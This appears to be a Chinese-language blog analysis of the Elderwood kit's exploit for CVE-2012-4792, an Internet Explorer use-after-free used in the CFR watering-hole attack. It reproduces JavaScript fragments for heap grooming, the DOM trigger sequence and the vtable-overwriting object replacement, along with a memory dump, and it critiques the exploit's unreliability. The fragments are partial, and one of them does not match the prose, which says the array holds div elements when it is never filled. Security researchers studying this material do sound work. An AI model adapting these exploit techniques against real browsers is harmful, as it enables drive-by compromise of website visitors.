使用Elderwood工具包编写漏洞利用程序(第二部分)——堆操作与漏洞触发技术详解

本文深入分析了Elderwood漏洞工具包中CVE-2012-4792漏洞利用的实现细节,包括DOM操作、堆内存预分配策略、Use-after-Free条件触发技术,以及攻击者如何通过精心设计的字符串替换控制程序执行流。

DOM文档对象模型

HTML文档对象模型(DOM)是HTML页面的结构化表示,JavaScript通过浏览器提供的接口访问和修改DOM属性。这个复杂的接口存在多种安全缺陷,例如攻击者在CFR入侵中利用的释放后重用(use-after-free)漏洞。Elderwood组织此前至少发现并利用了Internet Explorer中三个同类型漏洞。

释放后重用漏洞原理

当程序释放内存块后仍继续引用该内存时,若攻击者能在原位置分配新数据,便可控制程序执行流:

  1. 程序分配并释放内存块A
  2. 攻击者分配内存块B占用原A的内存空间
  3. 攻击者向B写入恶意数据
  4. 程序误用已释放的块A,执行攻击者预设代码

堆内存预分配策略

Internet Explorer在16次同尺寸分配后会启用低碎片堆(LFH)。为规避前16次不可利用的分配,攻击代码创建3000个div元素并设置className属性:

1
2
3
4
var arrObject = new Array(3000);
for (var i = 0; i < arrObject.length; i++) {
    arrObject[i].className = unescape("abababababababababababababababab");
}

随后间隔释放这些字符串创建内存空洞:

1
2
3
4
for (var i = 0; i < arrObject.length; i += 2) {
    arrObject[i].className = null;
}
CollectGarbage();

漏洞触发机制

通过特定DOM操作序列创建释放后重用条件:

1
2
3
4
5
6
try {
    e1.applyElement(e2);
    e1.appendChild(document.createElement('button'));
    e2.outerText = "";
} catch (e) {}
CollectGarbage();

值得注意的是,这段代码是唯一被try/catch包裹的部分,暗示可能直接复制自模糊测试工具输出。

对象替换技术

攻击者通过21次精准堆分配覆盖释放的CButton对象:

1
2
3
4
for (var i = 0; i < 20; i++) {
    arrObject[i].className = unescape("abababababababababababab");
}
window.location = unescape("%u0d0c%u10abhttps://www.google.com");

内存布局显示攻击者完全控制了虚函数表指针:

1
2
19eb1c00  10ab0d0c 00740068 00700074 003a0073
19eb1c10  002f002f 00770077 002e0077 006f0067

可靠性分析

在理想测试环境下该漏洞利用成功率仅60%,主要缺陷包括:

  1. 硬编码SWF文件内存地址(0x10ab0d0c)
  2. 假定第21个分配必定覆盖目标对象
  3. 依赖垃圾回收器触发漏洞的不确定性

测试数据显示,若省略堆预分配操作,成功率会进一步降至50%。这种脆弱性导致近半数符合条件的网站访问者未能被成功渗透。

结论

尽管Elderwood工具包提供了绕过DEP/ASLR的现成方案,但攻击者在关键的对象替换环节表现出对堆操作理解的不足。代码中大量存在JavaScript Cookbook示例的变量命名(如arrObject),且在核心利用部分仍保持相同的低水平实现质量。这表明APT组织在实际攻击中并不总是需要高度可靠的漏洞利用代码即可达成目标。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计